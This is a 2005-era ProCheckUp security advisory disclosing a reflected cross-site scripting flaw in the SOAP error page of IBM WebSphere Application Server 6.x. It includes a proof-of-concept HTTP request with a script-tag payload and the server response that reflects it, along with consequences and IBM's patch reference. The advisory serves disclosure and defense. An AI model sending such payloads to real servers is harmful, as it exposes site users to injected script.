Title: Cross Site Scripting (XSS) Vulnerability in IBM WebSphere 
Application Server

ProCheckUp Security Bulletin

Description: IBM WebSphere Application Server is vulnerable to Cross 
Site Scripting through a 'faultfactor' tag in the 500 Internal Server 
Error page on port 8880 (default SOAP port).

Date found: 2005-02-27

Vulnerable: This has been tested on WebSphere Application Server version 
6.x.  Other versions may be vulnerable but this has not been verified.

Severity: Medium

Author: Nuri Fattah [nuri.fattah@procheckup.com]

Vendor Status:

CVE Candidate: Not Assigned

Description:

WebSphere Application Server is vulnerable to a Cross Site Scripting 
attack through the Internal Server Error page used on port 8880 of the 
default WebSphere installation.  This may allow the execution of 
malicious script code in the browser of an individual who clicks on a 
link to a site using the vulnerable version of WebSphere.

Information:

REQUEST:

GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1
Host: 192.168.1.195:8880
Connection: close


RESULTS:

HTTP/1.1 500 Internal Server Error
Server: WebSphere Application Server/6.0
Content-Type: text/xml; charset=utf-8
Content-Length: 3013
Connection: close

<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope 
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="6.0.0.1" 
ns0:JMXMessageVersion="1.0.0" ns0:JMXVersion="1.2.0">
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>

[output omitted]

<faultactor>/<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT></faultactor>
</SOAP-ENV:Fault>

</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Consequences:

An attacker could cause the execution of malicious script code in the 
client of an individual who clicks on a link to a site using the 
vulnerable version of WebSphere Application Server.  

Fix: IBM has released patches to address this issue. They have tracked 
this vulnerability as APAR PK16602.

References: http://www.niscc.gov.uk/niscc/docs/re-20061031-00727.pdf?lang=en
   
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